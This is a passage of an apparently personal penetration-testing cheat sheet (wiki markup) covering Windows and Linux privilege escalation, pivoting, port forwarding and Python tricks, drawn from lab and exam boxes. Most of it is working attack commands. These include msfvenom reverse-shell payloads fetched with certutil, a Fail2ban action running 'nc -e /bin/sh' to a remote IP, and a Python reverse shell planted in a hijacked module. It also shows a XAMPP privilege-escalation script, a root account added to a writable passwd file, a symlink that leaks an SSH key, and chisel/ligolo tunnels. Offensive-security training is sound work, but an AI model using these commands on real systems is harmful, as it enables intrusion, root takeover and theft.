Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
